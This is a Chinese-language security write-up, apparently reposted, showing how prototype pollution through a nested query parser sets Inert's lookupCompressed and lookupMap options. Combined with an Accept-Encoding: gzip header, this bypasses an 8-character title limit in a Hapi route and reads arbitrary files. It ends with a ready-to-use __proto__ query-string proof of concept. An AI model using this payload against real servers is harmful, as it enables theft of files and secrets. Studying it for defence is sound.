HapiInertlookupMap原型污染实现无长度限制任意文件读取

admin 2026-04-30 05:11:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档披露了Hapi框架Inert插件中因原型污染漏洞导致的任意文件读取风险。攻击者可通过污染Object.prototype的lookupMap等属性,结合Accept-Encoding请求头绕过路径长度限制,实现无长度限制的任意文件读取。文中提供了具体漏洞利用代码和POC示例。 综合评分: 82 文章分类: 漏洞分析,WEB安全,安全开发,渗透测试


cover_image

Hapi Inert lookupMap 原型污染实现无长度限制任意文件读取

原创

YMsora YMsora

YMs0ra的安全漫路

2026年4月28日 23:42 浙江

在小说阅读器读本章

去阅读

特定情景

不多说,上源码,最近很多时候都没有更新博客了,

在憋坨大的

我先把源码片段给出

{  path: '/note/{title}', method: 'GET',    handler: async (req, h) => {    try {      const title = validateTitle(req.params.title);      const filepath = file(title);      await fs.access(filepath);      return h        .file(filepath, { confine: false, filename: title })        .type('application/json');    } catch (err) {      const isTitleErr = err.message.startsWith('Title');      return h.response({ error: isTitleErr ? err.message : 'Note not found' }).code(isTitleErr ? 400 : 404);    }  }}]);

这里传入title参数。然后h.file进行读取,我们要明白一个先觉条件,

就是file这个方法是挂载在插件inert上的,我们去找title的逻辑

const title = validateTitle(req.params.title);

并且

const validateTitle = t => {  if (!t)    throw new Error('Title required');  if (typeof t !== 'string')    throw new Error('Title must be a string');  if (t.length > 8)    throw new Error('Title too long (max 8 chars)');  return t;};

这里的title不能大于8length

这里的title是可以路径穿越的,但是因为长度的限制,只能穿../../se就停止

但是inert所成的file执行的时候会默认读以下属性

options.lookupCompressed options.lookupMap options.etagMethod

当然原本是没有的,但是我们可以看到arg的处理

function&nbsp;parseQuery(qs =&nbsp;'') {&nbsp;&nbsp;const&nbsp;out = {};&nbsp;&nbsp;for&nbsp;(const&nbsp;pair&nbsp;of&nbsp;qs.split('&')) {&nbsp; &nbsp;&nbsp;if&nbsp;(!pair)&nbsp;continue;&nbsp; &nbsp;&nbsp;let&nbsp;[k, v =&nbsp;''] = pair.split('=');&nbsp; &nbsp; k =&nbsp;decodeURIComponent(k.replace(/\+/g,&nbsp;' '));&nbsp; &nbsp; v =&nbsp;decodeURIComponent(v.replace(/\+/g,&nbsp;' '));&nbsp; &nbsp;&nbsp;const&nbsp;parts = k.split(/\[|\]/).filter(Boolean);&nbsp; &nbsp;&nbsp;let&nbsp;cur = out;&nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;i =&nbsp;0; i < parts.length&nbsp;-&nbsp;1; i++) {&nbsp; &nbsp; &nbsp; cur = cur[parts[i]] = cur[parts[i]] || {};&nbsp; &nbsp; }&nbsp; &nbsp; cur[parts.at(-1)] = v;&nbsp; }&nbsp;&nbsp;return&nbsp;out;}

这里的[][]是嵌套,并且out是{},{}.xxx

这样就很容易打原型链污染,

options.lookupCompressed options.lookupMap options.etagMethod

被正确配置的时候

Object.prototype.lookupCompressed&nbsp;=true;Object.prototype.lookupMap&nbsp;= {&nbsp;gzip:&nbsp;"crets/super_secret_flag.txt"};

这时候当请求头带

Accept-Encoding: gzip

就会去自动拼接上面的路径,自己去找服务端的文件

这样也就绕过了title的长度限制,实现了任意文件读取

单附个POC:

..%2f..%2f..?__proto__[lookupCompressed]=1&__proto__[lookupMap][gzip]=secrets/super_secret_flag.txt&__proto__[etagMethod]=false

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:YMs0ra的安全漫路 YMsora YMsora《Hapi Inert lookupMap 原型污染实现无长度限制任意文件读取》

可能真的要来了!!! 网络安全文章

可能真的要来了!!!

文章总结: 该文档是一篇推广高原虫草产品的软文,介绍藏族卖家格桑在玉树杂多县直接销售源头虫草的优势,强调其价格实惠、品质保证,并详细描述虫草采挖过程、分级标准和
评论:0   参与:  0